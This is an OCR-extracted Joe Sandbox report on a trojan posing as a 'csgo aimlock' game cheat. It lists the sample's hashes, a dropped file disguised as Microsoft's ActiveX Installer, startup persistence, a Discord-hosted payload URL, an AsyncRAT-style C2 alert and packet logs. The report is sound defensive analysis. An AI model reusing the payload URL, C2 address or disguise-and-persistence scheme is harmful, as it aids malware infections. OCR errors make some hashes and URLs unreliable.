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Windows Analysis Report

csgo aimlock v2.exe

Overview

General Information

Sample csgo aimlock v2.exe
Name:

Analysis ID: 632532

MD5: f14b1ff9a9ebe48..
SHAL: 586e092ba70309.
SHA256: 38670f0f3b254aa.
Tags: exe

Infos: MBS

Process Tree

= System is wl0x64

Detection

F MALICIOUS 1

Score:
Range:
Whitelisted:

Confidence:

72
0-100
false

100%

Signatures

Multi AV Scanner detection for subm...

Multi AV Scanner detection for drop...

Snort IDS alert for network traffic

.NET source code contains potentia...
Creates an undocumented autostart...
Queries the volume information (nam...
Yara signature match

May sleep (evasive loops) to hinder...
Sample execution stops while proce...
Stores files to the Windows start me...
JA3 SSL client fingerprint seen in co...

HTTP GET or POST without a user ...

e [E1 timeoutexe (PID: 4176 cmdline: timeout 36 MD5: EB9A65078396FB5D4E3813BB9198CB18)

= cleanup

Malware Configuration

@ No configs have been found

Yara Signatures

Initial Sample

Source

csgo aimlock v2.exe

Dropped Files

Copyright Joe Security LLC 2022

Rule

SUSP_PE_Discor
d_Attachment_Oct

211

Description

Detects suspicious = Florian Roth

Author Strings

executable with

reference to a
Discord

attachment (often
used for malware

hosting on a

legitimate FQDN)

Classification

. csgo aimlock v2.exe (PID: 6268 cmdline: "C:\Users\user\Desktop\csgo aimlock v2.exe" MD5: F14B1FFOA9EBE48F275DFCDF52E3CB6E)
‘ cmd.exe (PID: 4888 cmdline: "C:\Windows\System32\cmd.exe" /c timeout 36 MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
conhost.exe (PID: 3140 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e 0x401c33:$x1: https://cdn.discordapp.com/attachments/
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Source Rule

SUSP_PE_Discor
d_Attachment_Oct
211

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\WindowsUpdate\AxInstUl.exe

Unpacked PEs

Source Rule

SUSP_PE_Discor
d_Attachment_Oct

0.0.csgo aimlock v2.exe.10000.0.unpack

Description Author Strings

Detects suspicious = Florian Roth e 0x401c33:$x1: https://cdn.discordapp.com/attachments/
executable with

reference to a

Discord

attachment (often

used for malware

hosting on a

legitimate FQDN)

Description Author Strings

Detects suspicious = Florian Roth e 0x401c33:$x1: https://cdn.discordapp.com/attachments/

executable with

211 reference to a

Discord

attachment (often

used for malware

hosting on a

legitimate FQDN)
Sigma Signatures
@ No Sigma rule has matched
Snort Signatures
ET TROJAN Generic AsyncRAT Style SSL Cert - Source IP: 157.90.206.56 - Destination IP: 192.168.2.5 =
Timestamp: 157.90.206.56192.168.2.58808498572035595 05/23/22-18:48:31.158459
SID: 2035595
Source Port: 8808
Destination Port: 49857
Protocol: TCP
Classtype: A Network Trojan was detected

Joe Sandbox Signatures

AV Detection

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for dropped file

Networking

ort IDS alert for network traffic

Data Obfuscation

.NET source code contains potential unpacker

Boot Survival

Creates an undocumented autostart registry key

Copyright Joe Security LLC 2022
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Mitre Att&ck Matrix

- . . Command Remote
Initial . . Privilege Defense Credential . Lateral . ) . Network .
Execution Persistence . . Discovery Collection Exfiltration and Service Impact
Access Escalation Evasion Access Movement Effects
Control Effects
Valid Windows 0os Remote Data from  Exfiltration Eavesdrop Remotely  Modify
Accounts Manageme Registry Process Masqueradi Credential ~ Security Services Local Over Other Encrypted  on Insecure Track System
nt Run Keys / Injection ng Dumping Software System Network Channel Network Device Partition
Instrument ~ Startup Discovery Medium Communic  Without
ation Folder ation Authorizati
on
Default Scheduled  Boot or LSASS Remote Data from  Exfiltration Exploit SS7 Remotely  Device
Accounts Task/Job Logon Registry Disable or  Memory Process Desktop Removable Over Ingress to Redirect Wipe Data  Lockout
Initializatio  Run Keys/ Modify Discovery  Protocol Media Bluetooth Tool Phone Without
n Scripts Startup Tools Transfer Calls/SMS  Authorizati
Folder on
Domain At (Linux) Logon Logon Security SMB/Wind Datafrom  Automated Exploit SS7 Obtain Delete
Accounts Script Script Virtualizatio Account Virtualizatio ows Admin  Network Exfiltration  Non- to Track Device Device
(Windows) (Windows) n/Sandbox Manager n/Sandbox = Shares Shared Application Device Cloud Data
Evasion Evasion Drive Layer Location Backups
Protocol
Local At Logon Logon NTDS Distributed  Input Scheduled SIM Card Carrier
Accounts (Windows)  Script Script Process Remote Component Capture Transfer Application = Swap Billing
(Mac) (Mac) Injection System Object Layer Fraud
Discovery  Model Protocol
Cloud Cron Network Network LSA SSH Keylogging Data Fallback Manipulate Manipulate
Accounts Logon Logon Software Secrets File and Transfer Channels Device App Store
Script Script Packing Directory Size Limits Communic Rankings
Discovery ation or Ratings
Replication Launchd Rc.commo  Rc.commo Cached VNC GUI Input  Exfiltration  Multiband ~ Jamming or Abuse
Through n n Timestomp Domain System Capture Over C2 Communic  Denial of Accessibilit
Removable Credentials  Information Channel ation Service y Features
Media Discovery
Behavior Graph
Behavior Graph
ID: 632532 Legend:
Sample: csgo aimlock v2.exe l:‘ Process
Startdate: 23/05/2022 CLEAN H
Architecture: 'WINDOWS UNKNOWN . Slgnatu re
Score: 72 . Created File
Il onsiPoinfo
- - - - e ﬂ Is Dropped
A% Is Windows Process
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Screenshots
Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

NHPKIZU ~ TQDGENU

RBEBRA

NHPKIZU DTE:

£ 48 PM
HH 0 Type here to search 0 i £ A

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
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Source Detection Scanner Label Link

csgo aimlock v2.exe 54% Virustotal Browse
csgo aimlock v2.exe 41% ReversingLabs ByteCode-
MSIL.Trojan.Form
Book
Dropped Files
Source Detection Scanner Label Link
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WindowsUpdate\AxInstUI 41% ReversingLabs ByteCode-
.exe MSIL.Trojan.Form
Book

Unpacked PE Files

@ No Antivirus matches

Domains

@ No Antivirus matches

URLs

Source Detection Scanner Label Link
http://www.sandoll.co.kr. TTF 0% Avira URL Cloud safe
http://www.carterandcone.comcom 0% URL Reputation safe
http://www.jiyu-kobo.co.jp/G.F 0% Avira URL Cloud safe
http://www.carterandcone.com6é 0% URL Reputation safe
http://www.sandoll.co.krh 0% Avira URL Cloud safe
http://www.jiyu-kobo.co.jp/F 0% URL Reputation safe
http://www.founder.com.cn/cnF 0% URL Reputation safe
http://www.carterandcone.comh 0% URL Reputation safe
http:ffen.w 0% URL Reputation safe
http://www.founder.com.cn/cn/ 0% URL Reputation safe
http://www.jiyu-kobo.co.jp/. TTC3 0% Avira URL Cloud safe
http://www.jiyu-kobo.co.jp/x 0% URL Reputation safe
http://www.founder.com.cn/cn/X 0% Avira URL Cloud  safe
http://www.jiyu-kobo.co.jp/co 0% Avira URL Cloud safe
http://www.jiyu-kobo.co.jp/3 0% URL Reputation safe
http://www.jiyu-kobo.co.jp/YOTCi 0% Avira URL Cloud safe
http://www.monotype. 0% URL Reputation safe
http://www.jiyu-kobo.co.jp/jp/( 0% URL Reputation safe
http://www.founder.com.cn/cn3 0% URL Reputation safe
http://www.jiyu-kobo.co.jp/ 0% URL Reputation safe
http://www.jiyu-kobo.co.jp/e 0% URL Reputation safe
http://www.founder.com.cn/cn/e 0% URL Reputation safe
http:/fwww.jiyu-kobo.co.jp/vo 0% Avira URL Cloud safe
http:{/fwww.sandoll.co.krormal 0% URL Reputation safe
http:/fwww.sakkal.com 0% URL Reputation safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation

cdn.discordapp.com 162.159.135.233 true false high

Contacted URLs

Copyright Joe Security LLC 2022 Page 8 of 39


https://www.virustotal.com/gui/file/38670f0f3b254aa49f585837d675a2bd22873f7c418629c6f41170eb01529ff3/detection/f-38670f0f3b254aa49f585837d675a2bd22873f7c418629c6f41170eb01529ff3-1653322429

Name

http:if

Malicious Antivirus Detection

false

https://cdn.discordapp.com/attachments/970091439654584400/970407225539575808/Htlgnh_Jbpov

rha.png

URLs from Memory and Binaries

Name

http://www.sandoll.co.kr. TTF

http://www.carterandcone.comcom

http://www.jiyu-kobo.co.jp/G.F

http://www.carterandcone.com6é

http://www.sandoll.co.krh

http://www.jiyu-kobo.co.jp/F

http://www.founder.com.cn/cnF

http://www.carterandcone.comh

hitp:/fen.w

http://www.founder.com.cn/cn/

http://www.jiyu-kobo.co.jp/. TTC3

http://www.jiyu-kobo.co.jp/x

http://www.founder.com.cn/cn/X

http://www.jiyu-kobo.co.jp/co

http://www.jiyu-kobo.co.jp/3

http:ffwww.jiyu-kobo.co.jp/YOTCi

Copyright Joe Security LLC 2022

Source

csgo aimlock v2.exe, 00000000.00000003.4
42963572.000000001C343000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
44895171.000000001C343000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
47029551.000000001C335000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
44895171.000000001C343000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
42963572.000000001C343000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
47029551.000000001C335000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
43494203.000000001C343000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
44895171.000000001C343000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
45415642.000000001C366000.00000004.00000
020.00020000.00000000.sdmp, csgo aimlock v2.exe,
00000000.00000003.445455103.000000001C368
000.00000004.00000020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
43841657.000000001C342000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
47029551.000000001C335000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
47029551.000000001C335000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
42963572.000000001C343000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
47029551.000000001C335000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
47029551.000000001C335000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
47029551.000000001C335000.00000004.00000
020.00020000.00000000.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

.

.

.

.

.

.

.

Avira URL Cloud: safe

URL Reputation: safe

Avira URL Cloud: safe

URL Reputation: safe

Avira URL Cloud: safe

URL Reputation: safe

URL Reputation: safe

URL Reputation: safe

URL Reputation: safe

URL Reputation: safe

Avira URL Cloud: safe

URL Reputation: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

URL Reputation: safe

Avira URL Cloud: safe

Reputation

high

Reputation

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Name

http://www.monotype.

http://www.jiyu-kobo.co.jp/jp/(

http://www.founder.com.cn/cn3

http://www.jiyu-kobo.co.jp/

http://www.jiyu-kobo.co.jp/e

http://www.founder.com.cn/cn/e

http://www.jiyu-kobo.co.jp/vo

http://www.sandoll.co.krormal

http://www.fontbureau.com/designers/frere-
jones.htmlshb

http://www.sakkal.com

World Map of Contacted IPs

Copyright Joe Security LLC 2022

Source

csgo aimlock v2.exe, 00000000.00000003.4
57575881.000000001C36A000.00000004.00000
020.00020000.00000000.sdmp, csgo aimlock v2.exe,
00000000.00000003.457609566.000000001C36A
000.00000004.00000020.00020000.00000000.sdmp,
csgo aimlock v2.exe, 00000000.00000003.45710
0735.000000001C368000.00000004.00000020.
00020000.00000000.sdmp, csgo aimlock v2.exe,
00000000.00000003.456901082.000000001C366000.
00000004.00000020.00020000.00000000.sdmp, csgo
aimlock v2.exe, 00000000.00000003.457373797
.000000001C36A000.00000004.00000020.0002
0000.00000000.sdmp, csgo aimlock v2.exe,
00000000.00000003.457131178.000000001C3
70000.00000004.00000020.00020000.0000000
0.sdmp, csgo aimlock v2.exe, 00000000.00
000003.457308457.000000001C36A000.000000
04.00000020.00020000.00000000.sdmp, csgo aimlock
v2.exe, 00000000.00000003.457222917.00000
0001C36A000.00000004.00000020.00020000.0
0000000.sdmp, csgo aimlock v2.exe, 00000
000.00000003.457863362.000000001C371000.
00000004.00000020.00020000.00000000.sdmp, csgo
aimlock v2.exe, 00000000.00000003.451153724
.000000001C349000.00000004.00000020.0002
0000.00000000.sdmp, csgo aimlock v2.exe,
00000000.00000003.457775189.000000001C3
6A000.00000004.00000020.00020000.0000000
0.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
47029551.000000001C335000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
43494203.000000001C343000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
47029551.000000001C335000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
47029551.000000001C335000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
42963572.000000001C343000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
47029551.000000001C335000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
42963572.000000001C343000.00000004.00000
020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
52958523.000000001C366000.00000004.00000
020.00020000.00000000.sdmp, csgo aimlock v2.exe,
00000000.00000003.452879308.000000001C366
000.00000004.00000020.00020000.00000000.sdmp

csgo aimlock v2.exe, 00000000.00000003.4
47373884.000000001C366000.00000004.00000
020.00020000.00000000.sdmp, csgo aimlock v2.exe,
00000000.00000003.447664276.000000001C367
000.00000004.00000020.00020000.00000000.sdmp,
csgo aimlock v2.exe, 00000000.00000003.44748
5840.000000001C366000.00000004.00000020.
00020000.00000000.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

Avira URL Cloud: safe

.

e URL Reputation: safe

e URL Reputation: safe

Reputation

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

high

unknown
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[] No. of IPs < 25%

B 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public IPs

1P Domain Country Flag ASN ASN Name Malicious
162.159.135.233 cdn.discordapp.com United States = 13335 CLOUDFLARENETUS false
General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 632532

Start date and time: 23/05/202218:45:06 2022-05-23 18:45:06 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 6m 38s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: csgo aimlock v2.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 18

analysed:

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: e HCA enabled

e EGA enabled
e HDC enabled
e AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal72.evad.WinEXE@6/2@1/1
EGA Information: Failed

HDC Information: Failed

HCA Information: e Successful, ratio: 100%

e Number of executed functions: 0
e Number of non-executed functions: 0

Copyright Joe Security LLC 2022 Page 11 of 39



Cookbook Comments: e Found application associated with file extension: .exe
e Adjust boot time
e Enable AMSI

Warnings

e Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe

e TCP Packets have been reduced to 100

e Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, client.wns.windows.com, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com
settings-win.data.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com

e Not all processes where analyzed, report is missing behavior information

e Report size getting too big, too many NtAllocateVirtualMemory calls found.

e Report size getting too big, too many NtOpenKeyEx calls found.

e Report size getting too big, too many NtProtectVirtualMemory calls found.

e Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time Type Description

18:48:21 API Interceptor 1x Sleep call for process: csgo aimlock v2.exe modified

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

©@ No context

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WindowsUpdate\AxInstUl.exe v E @

Process: C:\Users\user\Desktop\csgo aimlock v2.exe

File Type: PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category: dropped

Size (bytes): 4229120

Entropy (8bit):  7.9985098023103856

Encrypted: true

SSDEEP: 98304:9Gw1j0xbWdjO70Xku5EdNIDUZEZY 0L 1j3jkJ3:MegxKdjzkuScMG1;3;ji
MD5: F14B1FF9A9EBE48F275DFCDF52E3CB6E

SHAL: 586E092BA7030920F033D9E21B1C2B0804E7E6GEF
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SHA-256:

SHA-512:

Malicious:

Yara Hits:

Antivirus:
Reputation:

Preview:

38670F0F3B254AA49F585837D675A2BD22873F7C418629C6F41170EBO1529FF3

5431E23FDA62F01E321A40D7D33F1EED23EE1D83ES3FOF4D04C418DEAEFAB23CCBA2E771AE76BA91CFC2857102BC26B47DA5329A674E7989647A5B060B2947
26

true

e Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting
on a legitimate FQDN), Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WindowsUpdate\AxInstUl.exe, Author: Florian Roth

e Antivirus: ReversingLabs, Detection: 41%

low

MZ.oiiiiii

@..oe.... @..@
d.@@.f.."@ desach k{000

&S &0 }(/(
>8P (o ¥ ¥ (C. Vs (D...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WindowsUpdate\AxInstUl.exe:Zone.ldentifier

Process: C:\Users\user\Desktop\csgo aimlock v2.exe
File Type: ASCII text, with CRLF line terminators
Category: modified
Size (bytes): 26
Entropy (8bit):  3.95006375643621
Encrypted: false
SSDEEP: 3:ggPYVirPYV
MD5: 187F488E27DB4AF347237FE461A079AD
SHA1L: 6693BA299EC1881249D59262276A0D2CB21F8E6G4
SHA-256: 255A65D30841AB4082BDI9DOEEA79D49C5EEB8F56136157D8D6156AEF11C12309
SHA-512: 89879F237C0OC051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCI9CDE1B60FB21CD6-
E
Malicious: false
Reputation: high, very likely benign file
Preview: [ZoneTransfer]....Zoneld=0
Static File Info
General
File type: PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):  7.9985098023103856
TriD: e Win64 Executable GUI Net Framework (217006/5) 49.88%
e Win64 Executable GUI (202006/5) 46.43%
e Win64 Executable (generic) (12005/4) 2.76%
e Generic Win/DOS Executable (2004/3) 0.46%
e DOS Executable Generic (2002/1) 0.46%
File name: csgo aimlock v2.exe
File size: 4229120
MDS5: f14b1ff9a9ebe48f275dfcdf52e3ch6e
SHAL: 586e092ba7030920f033d9e21b1c2b0804e7ebef
SHA256: 38670f0f3b254aa49f585837d675a2bd22873f7¢418629¢6f41170eb01529ff3
SHAS512: 5431e23fda62f01e321a40d7d33f1leed23ee1d83e53f0f4d04c418deaefab23ccha2e771ae76ba9lcfc2857102bc26b47da5329a674e7989647a5b060b294726
SSDEEP: 98304:9Gw1j0xbWdjO070XkuSEANIDUZEZY 0L 1j3jkJ3:MegxKdjzku5cMG 1j3ji
TLSH: 0716331BB2019ABBEB4AABB10E09CD40D6046FADO4D9FESFF44DB975E0713729A6310D
File Content
Preview:
Filelcon
Icon Hash: 9a8a808292808000
Static PE Info
General
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Entrypoint: 0x140000000
Entrypoint Section:

Digitally signed: false
Imagebase: 0x140000000
Subsystem: windows gui

Image File Characteristics:
DLL Characteristics:
Time Stamp:

TLS Callbacks:

CLR (.Net) Version: v4.0.30319
OS Version Major: 4
OS Version Minor: 0
File Version Major: 4
File Version Minor: 0
Subsystem Version Major: 4
Subsystem Version Minor: 0

Import Hash:

Entrypoint Preview
Instruction

dec ebp

pop edx

nop

add byte ptr [ebx], al

add byte ptr [eax], al

add byte ptr [eax+eax], al

add byte ptr [eax], al

Data Directories

Name

IMAGE_DIRECTORY_ENTRY_EXPORT
IMAGE_DIRECTORY_ENTRY_IMPORT
IMAGE_DIRECTORY_ENTRY_RESOURCE
IMAGE_DIRECTORY_ENTRY_EXCEPTION
IMAGE_DIRECTORY_ENTRY_SECURITY
IMAGE_DIRECTORY_ENTRY_BASERELOC
IMAGE_DIRECTORY_ENTRY_DEBUG
IMAGE_DIRECTORY_ENTRY_COPYRIGHT
IMAGE_DIRECTORY_ENTRY_GLOBALPTR
IMAGE_DIRECTORY_ENTRY_TLS
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT
IMAGE_DIRECTORY_ENTRY_IAT
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
IMAGE_DIRECTORY_ENTRY_RESERVED

Sections

Name Virtual Address Virtual Size
text 0x2000 0x401f64

.rsrc 0x404000 0x6482
Resources

Name RVA
RT_ICON 0x404280
RT_ICON 0x404568
RT_ICON 0x404690

Copyright Joe Security LLC 2022

Raw Size

0x402000

0x6600

O0xE4267E42 [Wed Apr 18 09:45:38 2091 UTC]

Virtual Address
0x0

0x0
0x404000
0x0

0x0

0x0

0x0

0x0

0x0

0x0

0x0

0x0

0x0

0x0
0x2000
0x0

Xored PE

unknown

False

Size
0x2e8
0x128

Oxea8

EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE

ZLIB Complexity

unknown

0.23131127451

Type
data
GLS_BINARY_LSB_FIRST

data

NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Virtual Size
0x0
0x0
0x6482
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x48
0x0

File Type

unknown

data

Is in Section
.rsrc
text
Entropy Characteristics
unknown IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ
4.35655342569 IMAGE_SCN_CNT_INITIALIZED_

DATA, IMAGE_SCN_MEM_READ

Language Country

Page 14 of 39



Name RVA Size Type Language
RT_ICON 0x405538 0x8a8 data
RT_ICON 0x405de0 0x568 GLS_BINARY_LSB_FIRST
RT_ICON 0x406348 0x25a8 dBase Il DBT, version number 0, next free block index
40
RT_ICON 0x4088f0 0x10a8 data
RT_ICON 0x409998 0x468 GLS_BINARY_LSB_FIRST
RT_GROUP_ICON 0x409e00 0x76 data
RT_VERSION 0x409e78 Ox4le data
RT_MANIFEST 0x40a298 Oxlea XML 1.0 document, UTF-8 Unicode (with BOM) text,

with CRLF line terminators

Version Infos

Description Data

Translation 0x0000 0x04b0

LegalCopyright Microsoft Corporation. All rights reserved.
Assembly Version 10.0.17763.1

InternalName Htlgnh.exe

FileVersion 10.0.17763.1

CompanyName Microsoft Corporation
LegalTrademarks

Comments ActiveX Installer Service
ProductName Microsoft Windows Operating System
ProductVersion 10.0.17763.1

FileDescription ActiveX Installer Service
OriginalFilename Htlgnh.exe

Network Behavior

Snort IDS Alerts
. Source Dest
Timestamp Protocol SID Message Port Port Source IP
157.90.206.56192.168.2.5 TCP 203559 ET TROJAN Generic AsyncRAT Style SSL Cert 8808 49857
8808498572035595 5 6
05/23/22-
18:48:31.158459
Network Port Distribution
Total Packets: 41
® 53 (DNS)
® 443 (HTTPS)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
May 23, 2022 18:46:56.938457012 CEST 49786 443 192.168.2.5 162.159.135.233

Copyright Joe Security LLC 2022

Country

Dest IP

157.90.206.5 192.168.2.5
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Timestamp Source Port Dest Port Source IP Dest IP

May 23, 2022 18:46:56.938492060 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:56.938587904 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.048135042 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.048170090 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.101572037 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.101696968 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.109481096 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.109498978 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.109759092 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.194402933 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.761578083 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.801229954 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.801323891 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.801374912 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.801426888 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.801440954 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.801461935 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.801501989 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.801508904 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.801567078 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.801619053 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.801667929 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.801681042 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.801744938 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.801759958 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.801806927 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.801812887 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.801824093 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.801861048 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.801904917 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.801954985 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.801956892 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.801968098 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.802021027 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.802032948 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.802090883 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.802136898 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.802182913 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.802194118 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.802208900 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.802258015 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.802263021 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.802306890 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.802321911 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.802335024 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.802392960 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.802444935 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.802447081 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.802459002 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.802499056 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.802541971 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.802589893 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.802602053 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.802613974 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.802671909 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.802736044 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.802783012 CEST 443 49786 162.159.135.233 192.168.2.5
May 23, 2022 18:46:57.802809954 CEST 49786 443 192.168.2.5 162.159.135.233
May 23, 2022 18:46:57.802824020 CEST 443 49786 162.159.135.233 192.168.2.5
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Timestamp Source Port Dest Port Source IP Dest IP

May 23, 2022 18:46:57.802834034 CEST 49786 443 192.168.2.5 162.159.135.233

